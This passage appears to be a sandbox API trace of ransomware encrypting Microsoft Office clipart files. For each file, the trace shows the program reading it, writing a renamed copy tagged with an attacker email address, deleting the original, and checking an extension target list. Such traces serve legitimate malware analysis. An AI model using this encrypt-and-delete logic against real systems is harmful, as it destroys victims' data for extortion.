	[0089.482] SetEndOfFile (hFile=0x388) returned 1
	[0089.482] CloseHandle (hObject=0x388) returned 1
	[0089.482] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.482] SetEndOfFile (hFile=0x370) returned 1
	[0089.483] CloseHandle (hObject=0x370) returned 1
	[0089.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1
	[0089.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.483] lstrlenW (lpString=".doc") returned 4
	[0089.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.483] lstrlenW (lpString=".docx") returned 5
	[0089.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.484] lstrlenW (lpString=".pdf") returned 4
	[0089.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString=".xls") returned 4
	[0089.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.484] lstrlenW (lpString=".xlsx") returned 5
	[0089.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.484] lstrlenW (lpString=".ppt") returned 4
	[0089.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.484] lstrlenW (lpString=".zip") returned 4
	[0089.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.484] lstrlenW (lpString=".rar") returned 4
	[0089.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString=".bz2") returned 4
	[0089.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString=".7z") returned 3
	[0089.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.484] lstrlenW (lpString=".dbf") returned 4
	[0089.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.484] lstrlenW (lpString=".1cd") returned 4
	[0089.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.484] lstrlenW (lpString=".jpg") returned 4
	[0089.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.484] lstrlenW (lpString=".doc") returned 4
	[0089.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.484] lstrlenW (lpString=".docx") returned 5
	[0089.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.484] lstrlenW (lpString=".pdf") returned 4
	[0089.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.485] lstrlenW (lpString=".xls") returned 4
	[0089.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.485] lstrlenW (lpString=".xlsx") returned 5
	[0089.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.485] lstrlenW (lpString=".ppt") returned 4
	[0089.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.485] lstrlenW (lpString=".zip") returned 4
	[0089.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.485] lstrlenW (lpString=".rar") returned 4
	[0089.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.485] lstrlenW (lpString=".bz2") returned 4
	[0089.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.485] lstrlenW (lpString=".7z") returned 3
	[0089.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.485] lstrlenW (lpString=".dbf") returned 4
	[0089.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.485] lstrlenW (lpString=".1cd") returned 4
	[0089.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0089.485] lstrlenW (lpString=".jpg") returned 4
	[0089.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.485] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.485] lstrlenW (lpString="DD00414_.WMF") returned 12
	[0089.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.486] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=42908) returned 1
	[0089.486] CloseHandle (hObject=0x370) returned 1
	[0089.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220
	[0089.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.486] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.486] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.486] GetLastError () returned 0x0
	[0089.486] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xa79c, lpOverlapped=0x0) returned 1
	[0089.495] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xa7a0, lpOverlapped=0x0) returned 1
	[0089.496] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.496] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.496] SetEndOfFile (hFile=0x388) returned 1
	[0089.497] CloseHandle (hObject=0x388) returned 1
	[0089.497] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.497] SetEndOfFile (hFile=0x370) returned 1
	[0089.498] CloseHandle (hObject=0x370) returned 1
	[0089.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1
	[0089.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.499] lstrlenW (lpString=".doc") returned 4
	[0089.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString=".docx") returned 5
	[0089.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.499] lstrlenW (lpString=".pdf") returned 4
	[0089.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString=".xls") returned 4
	[0089.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.499] lstrlenW (lpString=".xlsx") returned 5
	[0089.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.499] lstrlenW (lpString=".ppt") returned 4
	[0089.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.499] lstrlenW (lpString=".zip") returned 4
	[0089.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.499] lstrlenW (lpString=".rar") returned 4
	[0089.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString=".bz2") returned 4
	[0089.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString=".7z") returned 3
	[0089.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.499] lstrlenW (lpString=".dbf") returned 4
	[0089.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.499] lstrlenW (lpString=".1cd") returned 4
	[0089.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.499] lstrlenW (lpString=".jpg") returned 4
	[0089.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.500] lstrlenW (lpString=".doc") returned 4
	[0089.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString=".docx") returned 5
	[0089.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.500] lstrlenW (lpString=".pdf") returned 4
	[0089.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString=".xls") returned 4
	[0089.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.500] lstrlenW (lpString=".xlsx") returned 5
	[0089.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.500] lstrlenW (lpString=".ppt") returned 4
	[0089.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.500] lstrlenW (lpString=".zip") returned 4
	[0089.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.500] lstrlenW (lpString=".rar") returned 4
	[0089.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString=".bz2") returned 4
	[0089.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString=".7z") returned 3
	[0089.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.500] lstrlenW (lpString=".dbf") returned 4
	[0089.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.500] lstrlenW (lpString=".1cd") returned 4
	[0089.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0089.500] lstrlenW (lpString=".jpg") returned 4
	[0089.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.500] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.501] lstrlenW (lpString="DD00437_.WMF") returned 12
	[0089.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.501] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1932) returned 1
	[0089.501] CloseHandle (hObject=0x370) returned 1
	[0089.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220
	[0089.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.501] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.501] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.502] GetLastError () returned 0x0
	[0089.502] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x78c, lpOverlapped=0x0) returned 1
	[0089.503] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x790, lpOverlapped=0x0) returned 1
	[0089.504] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.504] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.504] SetEndOfFile (hFile=0x388) returned 1
	[0089.504] CloseHandle (hObject=0x388) returned 1
	[0089.504] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.504] SetEndOfFile (hFile=0x370) returned 1
	[0089.505] CloseHandle (hObject=0x370) returned 1
	[0089.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1
	[0089.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.506] lstrlenW (lpString=".doc") returned 4
	[0089.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.506] lstrlenW (lpString=".docx") returned 5
	[0089.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.506] lstrlenW (lpString=".pdf") returned 4
	[0089.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.506] lstrlenW (lpString=".xls") returned 4
	[0089.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.506] lstrlenW (lpString=".xlsx") returned 5
	[0089.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.506] lstrlenW (lpString=".ppt") returned 4
	[0089.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString=".zip") returned 4
	[0089.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.507] lstrlenW (lpString=".rar") returned 4
	[0089.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString=".bz2") returned 4
	[0089.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString=".7z") returned 3
	[0089.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString=".dbf") returned 4
	[0089.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString=".1cd") returned 4
	[0089.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString=".jpg") returned 4
	[0089.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString=".doc") returned 4
	[0089.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString=".docx") returned 5
	[0089.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.507] lstrlenW (lpString=".pdf") returned 4
	[0089.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString=".xls") returned 4
	[0089.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.507] lstrlenW (lpString=".xlsx") returned 5
	[0089.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.507] lstrlenW (lpString=".ppt") returned 4
	[0089.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.507] lstrlenW (lpString=".zip") returned 4
	[0089.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.507] lstrlenW (lpString=".rar") returned 4
	[0089.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.508] lstrlenW (lpString=".bz2") returned 4
	[0089.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.508] lstrlenW (lpString=".7z") returned 3
	[0089.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.508] lstrlenW (lpString=".dbf") returned 4
	[0089.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.508] lstrlenW (lpString=".1cd") returned 4
	[0089.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0089.508] lstrlenW (lpString=".jpg") returned 4
	[0089.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.508] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.508] lstrlenW (lpString="DD00448_.WMF") returned 12
	[0089.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.508] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2952) returned 1
	[0089.508] CloseHandle (hObject=0x370) returned 1
	[0089.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220
	[0089.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.509] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.509] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.509] GetLastError () returned 0x0
	[0089.509] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xb88, lpOverlapped=0x0) returned 1
	[0089.511] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb90, lpOverlapped=0x0) returned 1
	[0089.511] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
